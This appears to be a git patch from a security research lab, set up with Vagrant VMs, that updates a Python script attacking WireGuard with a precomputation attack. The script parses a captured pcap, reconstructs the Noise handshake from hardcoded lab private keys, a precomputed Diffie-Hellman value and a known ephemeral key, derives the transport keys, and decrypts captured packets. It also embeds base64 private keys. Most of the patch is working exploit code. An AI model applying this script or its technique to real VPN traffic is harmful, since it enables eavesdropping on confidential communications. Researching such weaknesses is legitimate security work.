From 5bc407e677e3df242717ce7768bd0082a72cc591 Mon Sep 17 00:00:00 2001
From: Maxime Puys <drakes00@gmail.com>
Date: Fri, 15 Mar 2024 13:46:42 +0100
Subject: [PATCH] Updated: bettr precomputation attack file

---
 Vagrantfile                      |   2 +-
 wireguard-attacker/precomutation | 153 +++++++++++++++++++++++--------
 2 files changed, 117 insertions(+), 38 deletions(-)

diff --git a/Vagrantfile b/Vagrantfile
index 144bb4f..bda0f17 100644
--- a/Vagrantfile
+++ b/Vagrantfile
@@ -40,7 +40,7 @@ Vagrant.configure("2") do |config|
         node.vm.synced_folder "./wireguard-client2", "/etc/wireguard"
       end
       if vm_config[:name] == "wireguard-server"
-        node.vm.synced_folder "./wireguard-server", "/srv/wireguard-server"
+        node.vm.synced_folder "./wireguard-server", "/etc/wireguard"
       end
       if vm_config[:name] == "wireguard-attacker"
         node.vm.synced_folder "./wireguard-attacker", "/srv/wireguard-attacker"
diff --git a/wireguard-attacker/precomutation b/wireguard-attacker/precomutation
index 572c91d..30cd323 100755
--- a/wireguard-attacker/precomutation
+++ b/wireguard-attacker/precomutation
@@ -1,13 +1,17 @@
 #!/usr/bin/env python
 
+import argparse
 import struct
 from base64 import b64decode
-from binascii import hexlify, unhexlify
+from binascii import unhexlify
 from scapy.all import sniff, UDP
 from hashlib import blake2s
 from hmac import HMAC
 from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
 from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey, X25519PublicKey
+from scapy.utils import rdpcap
+from scapy.layers.inet import IP
+from scapy.contrib import wireguard
 
 
 CONSTRUCTION = "Noise_IKpsk2_25519_ChaChaPoly_BLAKE2s".encode('utf-8')
@@ -18,7 +22,7 @@ CLIENT_1_PRIVKEY = X25519PrivateKey.from_private_bytes(b64decode('4K7psRloW4i1aH
 CLIENT_1_PUBKEY = X25519PublicKey.from_public_bytes(b64decode('85Ey6fLDcFadWd+MRPHAuBEAHJ6MIUbl2jNsCZJXmRI='))
 # CLIENT_2_PRIVKEY = X25519PrivateKey.from_private_bytes(b64decode('iIRaIDb42qAGxij8Ig+XWyP0csRpIShWD36rTS+/Xn8='))
 CLIENT_2_PUBKEY = X25519PublicKey.from_public_bytes(b64decode('gtPyxcaZzC7LkLq/QGzvVLEHaIOfdJ6nb79wx8C7YT8='))
-SERVER_PUBKEY    = X25519PublicKey.from_public_bytes(b64decode('+O7mAJK0m7Ts62WuP1Et1/RanAq5yFPAgDxuyR9TtD4='))
+SERVER_PUBKEY = X25519PublicKey.from_public_bytes(b64decode('+O7mAJK0m7Ts62WuP1Et1/RanAq5yFPAgDxuyR9TtD4='))
 PSK = b64decode('XqxvhqBMhDyQKiMZfRHc73t/ra++yQU47hnXwl5KaOI=')
 
 
@@ -63,7 +67,7 @@ def listen():
 
 
 def kdf(n, key, in_put):
-    print(f"KDF{n} computing with key={hexlify(key)} and in_put={hexlify(in_put)}")
+    # print(f"KDF{n} computing with key={hexlify(key)} and in_put={hexlify(in_put)}")
     t0 = hmac(key, in_put)
     # print(hexlify(t0))
     t1 = hmac(t0, b'\x01')
@@ -95,24 +99,24 @@ def compute_dh(priv, pub):
 def handshake_cli(e_priv_i, e_pub_r, precomputed):
     # Hashings
     Ci = hash(CONSTRUCTION)
-    print("Ci : ", hexlify(Ci))
+    # print("Ci : ", hexlify(Ci))
 
     Hi = hash(Ci + IDENTIFIER)
-    print("Hi : ", hexlify(Hi))
+    # print("Hi : ", hexlify(Hi))
 
     Hi = hash(Hi + SERVER_PUBKEY.public_bytes_raw())
-    print("SERVER_PUBKEY : ", SERVER_PUBKEY.public_bytes_raw().hex())
-    print("Hi : ", hexlify(Hi))
+    # print("SERVER_PUBKEY : ", SERVER_PUBKEY.public_bytes_raw().hex())
+    # print("Hi : ", hexlify(Hi))
 
     ephemeral_privkey = X25519PrivateKey.from_private_bytes(bytes.fromhex(e_priv_i))
     ephemeral_pubkey = ephemeral_privkey.public_key()
 
-    print("Epriv : " + ephemeral_privkey.private_bytes_raw().hex())
-    print("Epub : " + ephemeral_pubkey.public_bytes_raw().hex())
+    # print("Epriv : " + ephemeral_privkey.private_bytes_raw().hex())
+    # print("Epub : " + ephemeral_pubkey.public_bytes_raw().hex())
 
     # Key derivation function (KDF) for ephemeral public key and Ci
     Ci = kdf(1, Ci, bytes(ephemeral_pubkey.public_bytes_raw()))
-    print("Ci : ", hexlify(Ci))
+    # print("Ci : ", hexlify(Ci))
 
     # Hashing
     # Hi = hash(Hi + bytes(ephemeral_pubkey.public_bytes_raw()))
@@ -120,64 +124,139 @@ def handshake_cli(e_priv_i, e_pub_r, precomputed):
 
     # DH Computation en X25519
     result_dh = compute_dh(ephemeral_privkey, SERVER_PUBKEY)
-    print("result_dh : ", hexlify(result_dh))
+    # print("result_dh : ", hexlify(result_dh))
 
     # Key derivation function (KDF) for Diffie Helmann result and Ci
     (Ci, k) = kdf(2, Ci, bytes(result_dh))
-    print("Ci : ", hexlify(Ci))
-    print("k : ", hexlify(k))
-    print("len(k) : ", len(k))
+    # print("Ci : ", hexlify(Ci))
+    # print("k : ", hexlify(k))
+    # print("len(k) : ", len(k))
 
     # KDF with precomputed DH
     (Ci, k) = kdf(2, Ci, unhexlify(precomputed))
-    print("Ci : ", hexlify(Ci))
-    print("k : ", hexlify(k))
+    # print("Ci : ", hexlify(Ci))
+    # print("k : ", hexlify(k))
 
     ## Second message consumption
     # KDF with server ephemeral
     Ci = kdf(1, Ci, unhexlify(e_pub_r))
-    print("Ci : ", hexlify(Ci))
+    # print("Ci : ", hexlify(Ci))
 
     # KDF with ephe,eral DH
     server_ephemeral_pubkey = X25519PublicKey.from_public_bytes(bytes.fromhex(e_pub_r))
     result_dh = compute_dh(ephemeral_privkey, server_ephemeral_pubkey)
     Ci = kdf(1, Ci, result_dh)
-    print("Ci : ", hexlify(Ci))
+    # print("Ci : ", hexlify(Ci))
 
     # KDF with static DH
     result_dh = compute_dh(CLIENT_1_PRIVKEY, server_ephemeral_pubkey)
     Ci = kdf(1, Ci, result_dh)
-    print("Ci : ", hexlify(Ci))
+    # print("Ci : ", hexlify(Ci))
 
     # KDF with PSK
     (Ci, t, k) = kdf(3, Ci, PSK)
-    print("Ci : ", hexlify(Ci))
-    print("k : ", hexlify(k))
+    # print("Ci : ", hexlify(Ci))
+    # print("k : ", hexlify(k))
 
     return Ci
 
 
 def begin_session(Ci):
     # Key derivation
-    tkey_send_i, tkey_recv_i = kdf(2, Ci, b"\x55")
+    tkey_send_i, tkey_recv_i = kdf(2, Ci, b"")
     n_send_i = 0
-
-    print("tkey_send_i : ", hexlify(tkey_send_i))
-    print("tkey_recv_i : ", hexlify(tkey_recv_i))
     return tkey_send_i, tkey_recv_i, n_send_i
 
 
-def decrypt_msg(k, nonce, ciphertext, aad):
+def decrypt_msg(k, packet):
+    # print(packet)
+    print("key:", k.hex())
     chacha = ChaCha20Poly1305(k)
+    nonce = packet[wireguard.WireguardTransport].counter
     padded_nonce = b"\x00" * 8 + struct.pack(">I", nonce)
-    plaintext = chacha.encrypt(padded_nonce, ciphertext, aad)
-    print(hexlify(plaintext))
-
-
-Ci = handshake_cli(
-    e_priv_i="20841af4d7baef5d89f349f1b8941ecb6d83078271db34d54842cc235431de61",
-    e_pub_r="4392fa7c29c9c4cbf05197a299aed58e6e87626c97c3ffd698bdb89ce0e79432",
-    precomputed="87c897a180509924565936a36eaff8a3ed76b7d4ab819b3050da353ca1d59d1a",
-)
-begin_session(Ci)
-# decrypt_msg(None, 5, b"\x00", None)
+    print("nonce: ", padded_nonce.hex())
+    ciphertext = packet[wireguard.WireguardTransport].encrypted_encapsulated_packet
+    print("ct pkt: ", ciphertext.hex())
+    # aad = bytes.fromhex("38cb81bdf52a4090e50e3310c9ad00e25d238cf6c0f14cc58aff2da4022e4149")
+    # ct = chacha.encrypt(padded_nonce, bytes.fromhex("4000000065f3324432000000"), None)
+    # print("ct max: ", ct.hex())
+    return chacha.decrypt(padded_nonce, ciphertext, None)
+    # print("plaintext: ", plaintext.hex())
+
+
+def decode_pcap(filename, pn):
+    # rdpcap comes from scapy and loads in our pcap file
+    packets = rdpcap(filename)
+    ret_packets = []
+
+    # Let's iterate through every packet to find server ephemeral_pubkey
+    for i, packet in enumerate(packets):
+        if packet.haslayer(UDP) and packet.haslayer(wireguard.WireguardResponse):
+            server_ephemeral_pubkey = packet[wireguard.WireguardResponse].unencrypted_ephemeral
+            break
+
+    # Let's iterate through every packet to selects packets to attempt decryption
+    if pn:
+        packet = packets[pn-1]
+        if packet.haslayer(UDP) and packet.haslayer(wireguard.WireguardTransport):
+            ret_packets += [packet]
+    else:
+        for i, packet in enumerate(packets):
+            if packet.haslayer(UDP) and packet.haslayer(wireguard.WireguardTransport):
+                ret_packets += [packet]
+
+    return server_ephemeral_pubkey, ret_packets
+
+
+def select_tkey(packet, client_ip, tk_send, tk_recv):
+    return tk_send if packet[IP].src == client_ip else tk_recv
+
+
+def parse_arguments():
+    parser = argparse.ArgumentParser(description="Analyze PCAP file for client IP address.")
+    parser.add_argument(
+        "pcap_file",
+        type=str,
+        help="Path to the PCAP file to analyze.",
+    )
+    parser.add_argument(
+        "client_ip",
+        type=str,
+        help="IP address of the client to filter traffic for.",
+    )
+    parser.add_argument(
+        "--pn",
+        type=int,
+        default=None,
+        help="ID of the packet to attempt decryption in the PCAP trace starting from 1.",
+    )
+    return parser.parse_args()
+
+
+def main():
+    args = parse_arguments()
+
+    print("[+] Retrieving ephemeral keys from handshake")
+    server_ephemeral_pubkey, packets_to_test = decode_pcap(args.pcap_file, args.pn)
+    print("server_ephemeral_pubkey: ", server_ephemeral_pubkey.hex())
+    print("[+] Recomputing transport keys")
+    Ci = handshake_cli(
+        e_priv_i="802bc1689e24773a48f03cb254f91bb7118e0f2a51175ce8e4c8aad0db86455d",
+        precomputed="87c897a180509924565936a36eaff8a3ed76b7d4ab819b3050da353ca1d59d1a",
+        e_pub_r=server_ephemeral_pubkey.hex(),
+    )
+    tk_send, tk_recv, _ = begin_session(Ci)
+    print("tkey_send_i: ", tk_send.hex())
+    print("tkey_recv_i: ", tk_recv.hex())
+
+    print("[+] Iterating over packets to decrypt")
+    for packet in packets_to_test:
+        print("===========")
+        print(packet)
+        k = select_tkey(packet, args.client_ip, tk_send, tk_recv)
+        plaintext = decrypt_msg(k, packet)
+        print("plaintext: ", plaintext.hex())
+
+
+if __name__ == "__main__":
+    main()
-- 
GitLab